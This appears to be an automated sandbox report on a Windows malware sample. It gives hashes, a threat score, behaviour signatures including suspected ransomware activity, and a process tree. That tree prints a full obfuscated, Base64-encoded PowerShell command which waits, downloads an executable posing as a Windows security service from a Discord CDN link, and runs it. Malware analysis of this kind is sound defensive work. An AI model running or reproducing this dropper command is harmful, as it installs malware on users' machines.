Analysis
-
max time kernel
86s -
max time network
89s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
-
submitted
17-12-2022 09:41
General
-
Target
SecuriteInfo.com.Variant.Marsilia.2083.15410.7912.exe
-
Size
6KB
-
MD5
44c6477f95ff2e5d5557a43733372112
-
SHA1
469a2ff10ae58158e572ef7d97ebd8c1e9a8bc4e
-
SHA256
098b84cb0dbd1709a85f1cbec17f7968e6e4da022808a231da7cab240e785d43
-
SHA512
6ec088b14c1a1c899cda890625d9b80de14f5143ef6d48380795975557b31b0f871ad8a93d7bc2f14dca9157b898cb3303d0ba87df218cd6dac2c8297259fd01
-
SSDEEP
96:zCV79ZJZCFWZhBIKt0Hwjvk+nzb9AYUwsLvk+nzbu8TLid3oj6url:z49ZJoFWZzuQjvk4zqYavk4z6cid9e
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.15410.7912.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Marsilia.2083.15410.7912.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAeABkACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA3ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQAyADEANQAzADkANQAxADAANgA1ADIAMgA3ADIANgA0AC8AMQAwADUAMgAxADUANAA2ADMAMgAxADQAOAA4ADgANQA1ADMANAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGUAdQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQBhAHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaQBxAHcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYQBzAGQAMQAxADEAMQAxADEAMwAuAGUAeABlACcAKQApADwAIwBlAHkAYwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAHAAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeAB3AHYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYQBzAGQAMQAxADEAMQAxADEAMwAuAGUAeABlACcAKQA8ACMAdgBtAG4AIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1096-54-0x0000000000BE0000-0x0000000000BE8000-memory.dmpFilesize
32KB
-
memory/1096-55-0x000007FEFC291000-0x000007FEFC293000-memory.dmpFilesize
8KB
-
memory/2040-56-0x0000000000000000-mapping.dmp
-
memory/2040-58-0x000007FEF47A0000-0x000007FEF51C3000-memory.dmpFilesize
10.1MB
-
memory/2040-60-0x0000000002784000-0x0000000002787000-memory.dmpFilesize
12KB
-
memory/2040-59-0x000007FEF3C40000-0x000007FEF479D000-memory.dmpFilesize
11.4MB
-
memory/2040-61-0x000000001B720000-0x000000001BA1F000-memory.dmpFilesize
3.0MB
-
memory/2040-62-0x000000000278B000-0x00000000027AA000-memory.dmpFilesize
124KB
-
memory/2040-63-0x0000000002784000-0x0000000002787000-memory.dmpFilesize
12KB
-
memory/2040-64-0x0000000002784000-0x0000000002787000-memory.dmpFilesize
12KB
-
memory/2040-65-0x000000000278B000-0x00000000027AA000-memory.dmpFilesize
124KB